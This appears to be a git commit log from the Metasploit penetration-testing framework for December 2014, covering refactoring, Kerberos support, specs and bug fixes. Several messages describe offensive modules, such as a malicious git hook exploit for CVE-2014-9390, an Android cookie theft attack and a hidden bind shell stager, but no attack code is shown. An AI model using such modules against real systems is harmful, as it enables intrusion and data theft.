jvazquez-r7 9c4d892f5e Use single quotes when possible 2014-12-24 14:37:39 -06:00
jvazquez-r7 bbbb917728 Do style cleaning on metadata 2014-12-24 14:35:35 -06:00
jvazquez-r7 af24e03879 Update from upstream 2014-12-24 14:25:25 -06:00
Gabor Seljan 0b85a81b01 Use REXML to generate exploit file 2014-12-24 19:23:28 +01:00
William Vu 6613745d56 Land #4453, OptRegexp default attr fix 2014-12-24 10:50:22 -06:00
Brent Cook 725a17c70b override default attr for OptRegexp
Rather than literally returning the default Regex object, override the accessor
to return the string representation. This allows the RPC backend to properly
serialize the options hash values, since msgpack does not know how to serialize
a Regexp object. Fixes #3798.

To verify the fix, run the steps for issue #3798 and ensure that the module
options are returned instead of a backtrace. Also, ensure that the module
continues to work as expected:

```
$ ./msfconsole -q
msf > use auxiliary/scanner/http/scraper
msf auxiliary(scraper) > info

       Name: HTTP Page Scraper
     Module: auxiliary/scanner/http/scraper
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  et <et@metasploit.com>

Basic options:
  Name     Current Setting               Required  Description
  ----     ---------------               --------  -----------
  PATH     /                             yes       The test path to the page to analize
  PATTERN  (?i-mx:<title>(.*)<\/title>)  yes       The regex to use (default regex is a sample to grab page title)
  Proxies                                no        Use a proxy chain
  RHOSTS                                 yes       The target address range or CIDR identifier
  RPORT    80                            yes       The target port
  THREADS  1                             yes       The number of concurrent threads
  VHOST                                  no        HTTP server virtual host

override default attr for OptRegexp
Description:
  Scrap defined data from a specific web page based on a regular
  expresion

msf auxiliary(scraper) > set RHOSTS lwn.net
RHOSTS => lwn.net
msf auxiliary(scraper) > set RHOSTS 72.51.34.34
RHOSTS => 72.51.34.34
msf auxiliary(scraper) > set VHOST lwn.net
VHOST => lwn.net
msf auxiliary(scraper) > run

[*] [72.51.34.34] / [Welcome to LWN.net [LWN.net]]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
2014-12-24 09:57:14 -06:00
William Vu 76627ec921 Land #4463, smart_hashdump user regex update 2014-12-23 23:37:37 -06:00
Mark Judice 30228bcfe7 Added underscore to user regex in smart_hashdump.rb to support usernames that contain underscores. Issue #4349. 2014-12-23 22:36:11 -06:00
Jon Hart a692656ab7 Update comments to reflect reality, minor cleanup 2014-12-23 19:09:45 -08:00
jvazquez-r7 ebb05a64ea Land #4357, @Meatballs1 Kerberos Support for current_user_psexec 2014-12-23 20:38:31 -06:00
jvazquez-r7 05a9ec05e8 raise NotImplementedError 2014-12-23 19:59:37 -06:00
jvazquez-r7 4493b3285c Raise NoMethodError for methods designed to be overriden 2014-12-23 19:51:41 -06:00
jvazquez-r7 89d0a0de8d Delete unnecessary connect 2014-12-23 19:35:59 -06:00
jvazquez-r7 fee033d6df Use Rex::Text.md5_raw 2014-12-23 19:30:23 -06:00
jvazquez-r7 265e0a7744 Upper case domain 2014-12-23 19:16:50 -06:00
jvazquez-r7 ed2d0cd07b Use USER_SID instead of DOMAIN_SID and USER_RID 2014-12-23 19:11:05 -06:00
Joe Vennix 8d73794cc8 Add hint for exploit on old devices. 2014-12-23 12:29:08 -06:00
Jon Hart 59f75709ea Print out malicious URLs that will be used by default 2014-12-23 10:10:31 -08:00
Jon Hart 905f483915 Remove unused and commented URIPATH 2014-12-23 09:40:27 -08:00
Jon Hart 8e57688f04 Use random URIs by default, different method for enabling/disabling Git/Mercurial 2014-12-23 09:39:39 -08:00
Matthew Hall 3c10b04673 add start of rspec tests 2014-12-23 16:35:27 +00:00
Jon Hart bd3dc8a5e7 Use fail_with rather than fail 2014-12-23 08:20:03 -08:00
Jon Hart 015b96a24a Add back perl and bash related payloads since Windows git will have these and OS X should 2014-12-23 08:13:00 -08:00
Jon Hart 8c0269d40a Merge #4 from @Meatballs2, powershell/other fixes to CVE-2014-9390 2014-12-23 07:50:37 -08:00
Matthew Hall fca0484639 fix a few bugs with the code cleanup 2014-12-23 15:28:00 +00:00
Meatballs 16302f752e Enable generic command 2014-12-23 14:22:26 +00:00
Meatballs a3b0b9de62 Configure module to target bash by default 2014-12-23 14:19:51 +00:00
Matthew Hall 6b98a7d444 Tidy up by removing some duplicate code; add framework to track payload requests through the file id 2014-12-23 14:14:06 +00:00
Meatballs 313d6cc2f8 Add super call 2014-12-23 14:12:47 +00:00
Meatballs 43221d4cb0 Remove redundant debugging stuff 2014-12-23 14:09:12 +00:00
Meatballs 42a10d6d50 Add Powershell target 2014-12-23 14:07:57 +00:00
Meatballs c2bcde24ef Land #4377, Support DYNAMIC_BASE templates - resolves #4366 2014-12-23 11:57:33 +00:00
Meatballs 40c1fb814e one line if statement 2014-12-23 11:20:24 +00:00
Meatballs b41e259252 Move it to a common method 2014-12-23 11:16:07 +00:00
Brendan Coles 5c82b8a827 Add ProjectSend Arbitrary File Upload module 2014-12-23 10:53:03 +00:00
sinn3r 36404eb67f Land #4457 - Fix firefox in-memory payload execution
Fix #4374
2014-12-23 01:34:11 -06:00
jvazquez-r7 01cf14d44e Fix banner 2014-12-23 01:02:09 -06:00
jvazquez-r7 4928cd36e4 Land #4187, @BorjaMerino's post module to get output rules 2014-12-23 01:01:03 -06:00
jvazquez-r7 49fef9e514 Do minor module clean up 2014-12-23 01:00:21 -06:00
Joe Vennix e974d272f0 Remove stray line comment that ruined things when minified. 2014-12-23 00:22:50 -06:00
sinn3r 30916e35ad Land #4454 - Fix duplicate :ua_maxver key in firefox exploit 2014-12-22 23:43:17 -06:00
jvazquez-r7 13ec578d1a Revert "Back to Create OpenSSL::BN from string"
This reverts commit 635a54ca94.
2014-12-22 23:17:03 -06:00
Jon Hart abec7c206b Update description to describe current limitations 2014-12-22 20:32:45 -08:00
Jon Hart 1505588bf6 Rename the file to reflect what it really is 2014-12-22 20:27:40 -08:00
Jon Hart ff440ed5a4 Describe vulns in more detail, add more URLs 2014-12-22 20:20:48 -08:00
Jon Hart b4f6d984dc Minor style cleanup 2014-12-22 17:51:35 -08:00
Jon Hart 421fc20964 Partial mercurial support. Still need to implement bundle format 2014-12-22 17:44:14 -08:00
jvazquez-r7 635a54ca94 Revert "Create OpenSSL::BN from string"
This reverts commit fe99b65a62.
2014-12-22 19:14:07 -06:00
jvazquez-r7 fe99b65a62 Create OpenSSL::BN from string 2014-12-22 18:44:47 -06:00
jvazquez-r7 d12b43d257 Use Intege.new 2014-12-22 18:37:07 -06:00
jvazquez-r7 708cbd7b65 Allow to provide USER SID 2014-12-22 18:24:50 -06:00
jvazquez-r7 56eadc0d55 Delete default values from options 2014-12-22 18:11:43 -06:00
jvazquez-r7 fb83bf6092 Fix specs 2014-12-22 17:55:39 -06:00
jvazquez-r7 787dab998d Fix description 2014-12-22 17:51:44 -06:00
jvazquez-r7 a7faf798bf Use explicit encryption algorithms 2014-12-22 15:51:17 -06:00
jvazquez-r7 f37cf555bb Use random subkey 2014-12-22 15:39:08 -06:00
Jon Hart fdd1d085ff Don't encode the payload because this only complicates OS X 2014-12-22 13:36:38 -08:00
jvazquez-r7 ad97457a39 Move more constants to Crypto 2014-12-22 15:27:16 -06:00
jvazquez-r7 75a2846377 Add more PAC constants 2014-12-22 15:14:46 -06:00
Joe Vennix 0bf3a9cd55 Fix duplicate :ua_maxver key. 2014-12-22 14:57:44 -06:00
jvazquez-r7 b0a178e0a3 Delete blank line 2014-12-22 14:40:32 -06:00
jvazquez-r7 5a6c915123 Clean options 2014-12-22 14:37:37 -06:00
jvazquez-r7 20ab14d7a3 Clean module code 2014-12-22 14:29:02 -06:00
Jon Hart ea9f5ed6ca Minor cleanup 2014-12-22 12:16:53 -08:00
Jon Hart dd73424bd1 Don't link to unused repositories 2014-12-22 12:04:55 -08:00
Jon Hart 6c8cecf895 Make git/mercurial support toggle-able, default mercurial to off 2014-12-22 11:36:50 -08:00
Jon Hart 574d3624a7 Clean up setup_git verbose printing 2014-12-22 11:09:08 -08:00
Jon Hart 16543012d7 Correct planted clone commands 2014-12-22 10:56:33 -08:00
Jon Hart 01055cd41e Use a trigger to try to only start a handler after the malicious file has been requested 2014-12-22 10:43:54 -08:00
jvazquez-r7 dabc890b2f Change module filename again 2014-12-22 12:35:15 -06:00
sinn3r bcf659792e Restore original timeout 2014-12-22 12:34:52 -06:00
jvazquez-r7 2b46bdd929 Add references and authors 2014-12-22 12:34:31 -06:00
jvazquez-r7 4319dbaaef Change module filename 2014-12-22 12:29:28 -06:00
William Vu 58e4d39993 Land #3394, for real 2014-12-22 12:27:50 -06:00
jvazquez-r7 f3b263f57d Use more crypto constants 2014-12-22 12:13:23 -06:00
Jon Hart 3bcd67ec2e Unique URLs for public repo page and malicious git/mercurial repos 2014-12-22 10:03:30 -08:00
jvazquez-r7 b96d172ccc Use constant names 2014-12-22 11:58:59 -06:00
jvazquez-r7 ff208002d7 Reorganize the Crypto mixin 2014-12-22 11:57:35 -06:00
William Vu 6c252e3492 Land #3394, bind_hidden_tcp stager 2014-12-22 11:31:34 -06:00
jvazquez-r7 277ec92358 Really Add specs for Msf::Kerberos::Client::TgsRequest 2014-12-22 11:28:47 -06:00
jvazquez-r7 7a45918ecc Add specs for Msf::Kerberos::Client::TgsRequest 2014-12-22 11:28:24 -06:00
Borja Merino 1013ca6298 Merge pull request #10 from wvu-r7/pr/3394
Fix invalid URL in splat
2014-12-22 18:27:29 +01:00
William Vu 93be828738 Fix invalid URL in splat 2014-12-22 11:26:20 -06:00
Borja Merino 2035f606c1 Merge pull request #9 from wvu-r7/pr/3394
Align shellcode in bind_hidden_tcp
2014-12-22 18:18:56 +01:00
William Vu f1b9862665 Align shellcode in bind_hidden_tcp 2014-12-22 11:17:14 -06:00
Borja Merino 7efa85ea3f Merge pull request #8 from wvu-r7/pr/3394
Readd block_hidden_bind_tcp.asm
2014-12-22 18:15:18 +01:00
William Vu e34c37042a Readd block_hidden_bind_tcp.asm
Because stager_hidden_bind_tcp.asm includes it.
2014-12-22 11:13:07 -06:00
Borja Merino 25fabfcab1 Merge pull request #7 from wvu-r7/pr/3394
Add bind_hidden_tcp to payload spec
2014-12-22 17:45:03 +01:00
William Vu e4191866d9 Add bind_hidden_tcp to payload spec 2014-12-22 10:37:46 -06:00
Jon Hart 308eea0c2c Make malicious hook file name be customizable 2014-12-22 08:28:55 -08:00
root 9a7e431a4a New block_api applied 2014-12-22 17:21:13 +01:00
Peregrino Gris 42636fb3c0 Handler and block_hidden_bind_tcp deleted 2014-12-22 17:21:13 +01:00
root fa8e944e34 AHOST OptAddress moved to the payload 2014-12-22 17:21:11 +01:00
Peregrino Gris c0fa8c0e3f Add stager for hidden bind shell payload 2014-12-22 17:21:11 +01:00
Jon Hart 7f3cfd2207 Add a ranking 2014-12-22 07:51:47 -08:00
jvazquez-r7 a0c7f779e9 Change spec filename 2014-12-22 09:36:51 -06:00
jvazquez-r7 8c62822ab9 Add specs for Msf::Client::Kerberos::AsRequest 2014-12-22 09:34:21 -06:00
jvazquez-r7 b469ff3567 Add doc references to Msf::Kerberos::Client::CacheCredential 2014-12-22 08:54:09 -06:00
Matthew Hall 9af5b03105 correct disclosure date 2014-12-22 12:42:52 +00:00
Matthew Hall d1bbfae786 delete duplicate 2014-12-22 12:40:14 +00:00
Matthew Hall 710e0e5c18 Add timeout to connection handler 2014-12-22 12:33:27 +00:00
William Vu 416483415a Land #4450, MSB reference fix 2014-12-22 05:28:48 -06:00
Matthew Hall 03649a7306 cleanups 2014-12-22 11:11:46 +00:00
Matthew Hall b09d60b589 cleanups 2014-12-22 11:08:51 +00:00
Matthew Hall 77780022dc cleanups 2014-12-22 11:07:50 +00:00
Jon Cave 44084b4ef6 Correct Microsoft security bulletin for ppr_flatten_rec 2014-12-22 10:40:23 +00:00
Gabor Seljan 9be95eacb8 Use %Q for double-quoted string 2014-12-22 07:37:32 +01:00
jvazquez-r7 1f3eded4a8 Add specs for Msf::Kerberos::Client::CacheCredential 2014-12-21 23:47:40 -06:00
jvazquez-r7 7cb27408b2 Add doc references por spec'd mixins 2014-12-21 21:03:58 -06:00
jvazquez-r7 60d4525632 Add specs for Msf::Kerberos::Client::Pac 2014-12-21 17:49:36 -06:00
jvazquez-r7 e4455800e1 Add specs for Msf::Kerberos::Client::Base 2014-12-21 16:46:26 -06:00
Christian Mehlmauer 2e4ac41548 Land #4437, msfvenoms new output switch 2014-12-21 20:48:33 +01:00
sgabe bb33a91110 Update description to be a little more descriptive 2014-12-21 19:31:58 +01:00
Jon Hart 74783b1c78 Remove ruby and telnet requirement 2014-12-21 10:06:06 -08:00
sgabe cd02e61a57 Add module for OSVDB-114279 2014-12-21 17:00:45 +01:00
jvazquez-r7 e219b0b249 Add specs for Msf::Kerberos::Client::AsResponse 2014-12-21 01:12:00 -06:00
jvazquez-r7 d7b6407720 Add specs for AsResponse#extract_session_key 2014-12-21 00:53:20 -06:00
jvazquez-r7 2d9ed9eb4c Add specs for TgsResponse 2014-12-21 00:39:59 -06:00
jvazquez-r7 6acd0703d7 Add specs for Msf::Kerberos::Client::TgsResponse 2014-12-21 00:16:38 -06:00
Jon Hart 31f320c901 Add mercurial debugging 2014-12-20 20:00:12 -08:00
Jon Hart 3da1152743 Add better logging. Split out git support in prep for mercurial 2014-12-20 19:34:55 -08:00
Jon Hart 58d5b15141 Add another useful URL. Use a more git-like URIPATH 2014-12-20 19:11:56 -08:00
jvazquez-r7 9f1403a63e Add initial specs for Msf::Kerberos::Client::TgsResponse 2014-12-20 20:29:00 -06:00
jvazquez-r7 5f0c3ebb2b Add documentation for Msf::Kerberos::Client::TgsResponse and TgsRequest 2014-12-20 19:32:38 -06:00
jvazquez-r7 ffb319d703 Add documentation for Msf::Kerberos::Client::AsRequest 2014-12-20 18:57:49 -06:00
jvazquez-r7 8929cbd6b3 Fix typo 2014-12-20 18:29:50 -06:00
jvazquez-r7 e35218b6f1 Add documentation for Msf::Kerberos::Client::CacheCredential 2014-12-20 18:28:36 -06:00
William Vu ded1765d73 Land #4439, rm Redmine references in code 2014-12-20 17:19:55 -06:00
Tod Beardsley 80d3c5b757 Normalize links to metakitty, unleashed, and wiki 2014-12-20 12:53:34 -06:00
sgabe 9f97b55a4b Add module for CVE-2014-2973 2014-12-20 18:38:22 +01:00
jvazquez-r7 ca75b4b74a Add documentation for Msf::Client::Kerberos::Pac 2014-12-20 01:36:54 -06:00
jvazquez-r7 cf13dc8d53 Do build_ap_req 2014-12-20 01:25:20 -06:00
jvazquez-r7 422d3ce9b5 Take more care of options on build_tgs_request 2014-12-20 01:13:56 -06:00
sinn3r ad8bbf4477 Rescue rescue Rex::TimeoutError so the iteration can keep going 2014-12-20 01:12:30 -06:00
sinn3r a8e3ee033c Fix #4431 - Support arbitrary session response timeout
Fix #4431
2014-12-20 00:25:02 -06:00
Jon Hart f41d0fe3ac Randomize most everything about the malicious commit 2014-12-19 19:31:00 -08:00
Jon Hart 805241064a Create a partially capitalized .git directory 2014-12-19 19:07:45 -08:00
Samuel Huckins 067bda43e7 Updating lockfile post MDM version bump 2014-12-19 20:58:09 -06:00
Samuel Huckins c8d80d5de5 Lands #4436, latest version of MDM
Fixes an issue with protocol inclusion when adding an NX console
2014-12-19 20:56:02 -06:00
Jon Hart f7630c05f8 Use payload.encoded 2014-12-19 18:52:34 -08:00
jvazquez-r7 cd16e11b22 Make checksum from a method 2014-12-19 20:08:15 -06:00
jvazquez-r7 b0ac68fbc3 Create build_subkey method 2014-12-19 19:46:57 -06:00
jvazquez-r7 4a106089b9 Move options to build_tgs_request_body 2014-12-19 19:12:17 -06:00
jvazquez-r7 e6781fcbea Build AuthorizationData from the module 2014-12-19 18:59:39 -06:00
jvazquez-r7 9bd454d288 Build PAC extensions from the module 2014-12-19 18:47:41 -06:00
jvazquez-r7 04ef087434 Delete Microsoft namespace from the mixin 2014-12-19 18:41:27 -06:00
jvazquez-r7 b78765e584 Create PAC mixin component 2014-12-19 18:36:02 -06:00
jvazquez-r7 def1695e80 Use options by call 2014-12-19 18:23:11 -06:00
jvazquez-r7 f332860c19 Clean creation of client and server principal names 2014-12-19 18:16:22 -06:00
jvazquez-r7 bd85723a9d Build pre auth array out of the mixin 2014-12-19 18:10:14 -06:00
Jon Hart 7f2247f86d Add description and URL 2014-12-19 15:50:16 -08:00
Jon Hart 9b815ea0df Some style cleanup 2014-12-19 15:35:09 -08:00
Jon Hart 4d0b5d1a50 Add some vprints and use a sane URIPATH 2014-12-19 15:33:26 -08:00
Tod Beardsley 1213aa1875 Missed one in CONTRIBUTING.md 2014-12-19 17:32:28 -06:00
Tod Beardsley d3050de862 Remove references to Redmine in code
See #4400. This should be all of them, except for, of course, the module
that targets Redmine itself.

Note that this also updates the README.md with more current information
as well.
2014-12-19 17:27:08 -06:00
Jon Hart 48444a27af Remove debugging pp 2014-12-19 15:27:06 -08:00
Jon Hart 1c7fb7cc7d Mostly working exploit for CVE-2014-9390 2014-12-19 15:24:27 -08:00
jvazquez-r7 9cfc52b5af Extract build_as_request_body 2014-12-19 17:00:39 -06:00
jvazquez-r7 fcb801c729 Add Timeout datastore option 2014-12-19 16:53:12 -06:00
sinn3r fb35a4574f Well, should be -1 2014-12-19 16:36:05 -06:00
sinn3r cd444ed2db No point to save if there's no payload 2014-12-19 16:35:17 -06:00
sinn3r 3c03f3697a Land #4433 - Update mailmap 2014-12-19 16:29:14 -06:00
sinn3r c2bc182db5 Fix #4430 - Add support for -o to save the payload to disk
Fix #4430
2014-12-19 16:14:43 -06:00
jvazquez-r7 d058bd5259 Refact extraction of kerberos cache credentials 2014-12-19 15:53:24 -06:00
Fernando Arias 337b2d784f Land #4416, define rails version dep in one place
* Bump rails to 3.2.21
2014-12-19 15:17:54 -06:00
Jon Hart 4888ebe68d Initial commit of POC module for CVE-2013-9390 (#4435) 2014-12-19 12:58:02 -08:00
David Maloney 82e7cd99b5 pull latest mdm 2014-12-19 14:58:01 -06:00
HD Moore fffa8cfdd1 Lands #4426 by cleaning up the module description 2014-12-19 14:54:17 -06:00
HD Moore 9ede2c2ca5 Lands #4429 by fixing windows/messagebox with EXITFUNC=none 2014-12-19 14:51:57 -06:00
Brent Cook 85ec71bd1e Land #4434, fix for metasm invalid opcode 2014-12-19 14:43:55 -06:00
David Maloney 24527d7a55 Land #4427, Misfortune Cookie Scanner
lands Jhart's scanner module for the RomPager
Misofrtune Cookie vuln.
2014-12-19 14:03:00 -06:00
Matt Buck db0aeb2a05 Make the version constraint a range 2014-12-19 13:54:13 -06:00
Tod Beardsley 38a4776b39 Add and sort other contributors in mailmap 2014-12-19 13:41:06 -06:00
Tod Beardsley df4f86047d Add new/updated r7 employees to mailmap 2014-12-19 13:39:42 -06:00
sinn3r 650a68c994 Fix jcxz to jecxz for x86_64 in metasm
This fixes "invalid opcode near 'jecxz'" for x64 metasm encoding.
2014-12-19 13:34:56 -06:00
jvazquez-r7 fad08d7fca Add specs for Rex Kerberos client 2014-12-19 12:14:33 -06:00
Joe Vennix e45af903d9 Add patch discovery date. 2014-12-19 12:04:41 -06:00
Matt Buck c493ccfc06 Define the Rails version constraint in a library constant 2014-12-19 11:46:39 -06:00
jvazquez-r7 f4037b1003 Clean Kerberos Rex client code 2014-12-19 11:08:48 -06:00
sinn3r 2c0c732967 Fix #4414 & #4415 - exitfunc and proper null-terminated string
This patch fixes the following for messagebox.rb

Issue 1 (#4415)
When exitfunc is none, the payload will not be able to generate
due to an "invalid opcode" error.

Issue 2: (#4414)
After "user32.dll" is pushed onto the stack for the LoadLibrary
call, the payload does not actually ensure bl is a null byte, it
just assumes it is and uses it to modify the stack to get a
null-terminated string.

Fix #4414
Fix #4415
2014-12-19 03:19:06 -06:00
Joe Vennix 25313b1712 Use the hash to pass the script. 2014-12-19 02:30:37 -06:00
jvazquez-r7 dfa92da287 Add TODO 2014-12-19 01:13:56 -06:00
jvazquez-r7 77e2d4d90d Add documentation for the Kerberos PAC support classes 2014-12-19 01:12:14 -06:00
jvazquez-r7 fda4cd3440 Fix some Rex Kerberos model documentation 2014-12-18 19:30:12 -06:00
Jon Hart 8d2bd74d31 Add preliminary module to cover 'Misfortune Cookie', CVE-2014-9222 2014-12-18 17:21:26 -08:00
jvazquez-r7 b740ba4738 Add specs for Rex::Proto::Kerberos::CredentialCache::Cache 2014-12-18 18:35:20 -06:00
jvazquez-r7 8f119e0731 Add specs for Rex::Proto::Kerberos::CredentialCache::Credential 2014-12-18 18:07:44 -06:00
jvazquez-r7 0d464a7ff8 Add specs for Rex::Proto::Kerberos::CredentialCache::Time 2014-12-18 17:53:42 -06:00
jvazquez-r7 d53f5668a2 Add specs for Rex::Proto::Kerberos::CredentialCache::KeyBlock 2014-12-18 17:50:00 -06:00
jvazquez-r7 c426cf32d0 Add specs for Rex::Proto::Kerberos::CredentialCache::Principal 2014-12-18 17:40:06 -06:00
jvazquez-r7 16d5ee1aae Add documentation for the rex credential cache support 2014-12-18 17:12:58 -06:00
jvazquez-r7 e25665853c Merge support for Kerberos credential cache encoding 2014-12-18 16:33:33 -06:00
jvazquez-r7 7275f5a5f2 Allow Rex to load credential_cache 2014-12-18 16:32:21 -06:00
jvazquez-r7 f325d2f60e Add support for cache credentials in the mixin 2014-12-18 16:31:46 -06:00
Tod Beardsley c15bad44a6 Be clearer on backslash usage.
See #4282
2014-12-18 16:16:02 -06:00
William Vu 723998e1d4 Land #4425, jobs tab completion NilClass fix 2014-12-18 15:25:57 -06:00
Spencer McIntyre 400bd9a094 Fix jobs NilClass tab complete bug 2014-12-18 15:43:04 -05:00
William Vu 153d7e273d Land #4420, tentative "fix" for EXE spec 2014-12-18 13:55:56 -06:00
Tod Beardsley db474adc7b Remove the helper as well.
See #3807.

Again, happy to have working tests that actually test validity. But,
these ain't them.
2014-12-18 13:28:04 -06:00
sinn3r 144daaa6bb Land #4421 - add a deprecation message for msfcli
please make your way to msfconsole
2014-12-18 10:28:31 -06:00
Tod Beardsley 60099d42cf Add deprecation warning to msfcli, 6 months
See #3802
2014-12-18 09:39:50 -06:00
Trevor Rosen 80cd04d76a Land #4332, test optimization for Cucumber
* Make Cuke run faster on TravisCI
2014-12-18 09:34:55 -06:00
Tod Beardsley 270debea32 Remove the EXE file test spec
This thing has been a problem since forever, given cross-platform
issues and random collisions with other file magic signatures.

See #3807 and #2793 and the even earlier redmine bug.

This should not close the bug, since we're merely avoiding the random
fails by not testing at all. We /should/ test, but in the meantime, we
can't suffer these failures that throw me (at least) into a panic every
time.
2014-12-18 09:18:24 -06:00
jvazquez-r7 0a61e108ea Add code skeleton for credential_cache 2014-12-18 00:30:47 -06:00
jvazquez-r7 0f19f3cf2e Add classes templates 2014-12-17 23:16:58 -06:00
William Vu dcf23172be Land #4418, threads tab completion NilClass fix 2014-12-17 22:13:17 -06:00
William Vu d41dc0d88e Land #4419, msfbinscan NameError fix 2014-12-17 22:00:25 -06:00
jvazquez-r7 9a58617387 Add dummy test module 2014-12-17 19:57:10 -06:00
jvazquez-r7 f3f6a64f02 Add some AS response methods to a mixin 2014-12-17 19:50:42 -06:00
Jakub Nawalaniec 9f0bf85ec1 Fix typo in msfbinscan 2014-12-18 02:43:24 +01:00
jvazquez-r7 8e570cc19b Initial support to send TGS-REQ 2014-12-17 18:55:30 -06:00
Spencer McIntyre 549f3c69ff Dont crash when tab complete threads command with typos 2014-12-17 19:36:04 -05:00
Matt Buck cfc3a31289 Upgrade rails to 3.2.21 2014-12-17 17:50:10 -06:00
William Vu 5262096905 Land #4412, get_once NilClass fixes 2014-12-17 14:07:09 -06:00
sinn3r 6b0a98b69c Resolve #4408 - bad uncaught nil get_once 2014-12-17 14:02:42 -06:00
William Vu 1ff51d5856 Land #4410, rm_f with more f 2014-12-17 13:16:46 -06:00
Matthew Hall e7da23e8e5 modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb 2014-12-17 15:25:13 +00:00
Spencer McIntyre 698ca2639b Do not delete files that do not exist in rm_f 2014-12-17 09:18:06 -05:00
Meatballs 6a822cca61 Move code out of begin/rescue block 2014-12-17 06:45:00 +00:00
Meatballs dd63d793e5 Bring in @darkoperator's filters 2014-12-17 06:14:21 +00:00
jvazquez-r7 662160ef61 Refactor mixin 2014-12-16 23:48:53 -06:00
Meatballs 8c7ff728ef Gather some more info 2014-12-17 05:46:01 +00:00
jvazquez-r7 594b9bcfc2 Add support for AuthorizationData 2014-12-16 23:21:13 -06:00
HD Moore 9de4137aa7 Patch UA/Proxy settings during migration, lands #3632 2014-12-16 22:21:48 -06:00
Sean Verity 370f6003e3 Refactors metsrv patching in reverse_hop_htt.rb 2014-12-17 11:57:17 -05:00
Sean Verity 1930eb1bf8 Refactors metsrv patching in reverse_http.rb 2014-12-17 10:04:43 -05:00
Joe Vennix 84ea628284 Add Android cookie theft attack. 2014-12-16 19:12:01 -06:00
jvazquez-r7 2649d482fe Add support for KRB_AP_REQ 2014-12-16 18:39:42 -06:00
jvazquez-r7 0f55a98450 Add support for Authenticator encoding 2014-12-16 17:45:54 -06:00
jvazquez-r7 dde45a7f53 Add support for Checksum encoding 2014-12-16 17:05:35 -06:00
jvazquez-r7 a93cbac7bf Support ticket encoding 2014-12-16 16:04:13 -06:00
William Vu f6af86a06d Land #4402, ms12_020_check NilClass fix 2014-12-16 15:34:25 -06:00
William Vu 3a00db3c9c Land #4404, Oracle scheduler exploit fix 2014-12-16 15:33:44 -06:00
jvazquez-r7 ce6b53b44c Fix attribute description 2014-12-16 11:39:04 -06:00
jvazquez-r7 a5f8b4319f Add support to encode PAC-TYPE 2014-12-16 11:31:27 -06:00
William Vu c78685269f Land #4403, msfvenom configurable variable name 2014-12-16 10:10:54 -06:00
David Maloney f237c56a13 This oracle scheduler exploit hangs if not vuln
When this exploit gets run against a system that isn't vulnerable
it can hang for a signifigant ammount of time. This change uses the check
method on the exploit to see whether it should proceed. Don't try to exploit
the host if it's not vulnerable.
2014-12-16 09:42:42 -06:00
jvazquez-r7 1721641138 Add support for PAC-LOGON-INFO 2014-12-16 09:32:47 -06:00
sinn3r 513fd122b8 Update rpsec 2014-12-16 00:26:53 -06:00
sinn3r c2bc79c53c Resolves #4275 - Configurable variable name as an option
Resolves #4275
2014-12-15 23:59:34 -06:00
Sean Verity 52b3025351 Reworked to avoid extending String class on blob per hdm's rec. 2014-12-15 21:40:41 -05:00
jvazquez-r7 c1114c180a Add support for PAC-CLIENT-INFO 2014-12-15 17:32:51 -06:00
jvazquez-r7 64a0162e3f Add support for PAC-SERVER-CHECKSUM 2014-12-15 17:16:43 -06:00
jvazquez-r7 482c883d36 Add the parent class for pac elements 2014-12-15 17:13:52 -06:00
jvazquez-r7 2c7139b936 Add support for PAC-PRIVSRV-CHECKSUM 2014-12-15 17:13:22 -06:00
William Vu 2604746fb7 Land #4361, Kippo detector 2014-12-15 14:54:48 -06:00
Andrew Morris 81a069d548 Merge pull request #1 from wvu-r7/pr/4361
Merging changes. Thanks for all the help!
2014-12-15 15:51:48 -05:00
Samuel Huckins 4c994d84e0 Updating version to 4.11 for Flood release 2014-12-15 14:42:09 -06:00
William Vu 8394cc13a8 Perform final cleanup of detect_kippo 2014-12-15 14:38:38 -06:00
sinn3r c611249723 Take full advantage of the check command 2014-12-15 12:50:59 -06:00
sinn3r 9edb2b4fab Fix #4378 - Do exception handling
Fix #4378
2014-12-15 12:37:36 -06:00
Jon Hart effb5b966f Land #4328, @bcoles' exploit for ActualAnalyzer < 2.81 'ant' code execution 2014-12-15 09:57:27 -08:00
Jon Hart 025c0771f8 Have exploit call check. Have check report_vuln 2014-12-15 09:53:11 -08:00
jvazquez-r7 147ff13080 Add support to decode the encryption part of as responses 2014-12-15 11:47:08 -06:00
jvazquez-r7 643279b54b Add support to decode the encryption part of as responses 2014-12-15 11:46:11 -06:00
sinn3r 4c714b3eaf Land #4386 - Fix issue #3852 (support for other languages for enable_rdp) 2014-12-15 11:37:05 -06:00
Jon Hart f521e7d234 Use newer Ruby hash syntax 2014-12-15 09:17:32 -08:00
Jon Hart c93dc04a52 Resolve address before storing the working cred 2014-12-15 09:11:12 -08:00
Brent Cook c24fdb81b5 Land #4389, Meatballs1's fix for enum_ad_* post module regressions
Fixes #4387 by adjusting for the new return type from ADSI queries.
2014-12-15 10:45:12 -06:00
Jon Hart 5ca8f187b3 Merge remote-tracking branch 'upstream/pr/4328' into temp 2014-12-15 08:15:51 -08:00
root 6480ae2c03 Show message at the end 2014-12-15 16:26:39 +01:00
jvazquez-r7 b98ad59900 Add specs for KdcResponse 2014-12-15 08:54:33 -06:00
jvazquez-r7 d81cdd6cbb Add KdcResponse spec first draft 2014-12-14 21:20:54 -06:00
Samuel Huckins 3ee60101cf Updating lockfile for credential 0.13.8
Logfile cleanup
2014-12-14 21:12:32 -06:00
Samuel Huckins 63320ce7bd Updating to latest metasploit-credential, 0.13.8
Drops test log files that are clogging build
2014-12-14 21:05:32 -06:00
jvazquez-r7 c3a2bcf956 Make KdcResponse decoding better 2014-12-14 21:01:09 -06:00
jvazquez-r7 442adb080f Add first support to decode tickets 2014-12-14 20:51:26 -06:00
jvazquez-r7 b988104e40 Modify forgotten spec 2014-12-14 19:28:59 -06:00
jvazquez-r7 87548cecfb Move specs 2014-12-14 19:27:38 -06:00
jvazquez-r7 8049d4024b Delete references to deleted namespaces from specs 2014-12-14 19:26:39 -06:00
jvazquez-r7 35742873c7 Delete references to deleted namespaces 2014-12-14 19:23:21 -06:00
jvazquez-r7 78c76092dd Delete namespaces from model classes 2014-12-14 19:18:30 -06:00
jvazquez-r7 13ae624738 Delete namespaces 2014-12-14 19:15:57 -06:00
jvazquez-r7 2d0cb5acd8 Move elements to model dir 2014-12-14 19:11:21 -06:00
jvazquez-r7 328e9f62e8 Add first draft for Kerberos responses 2014-12-14 19:09:41 -06:00
jvazquez-r7 483c273e17 Add support to decode responses on the Rex client 2014-12-14 17:54:17 -06:00
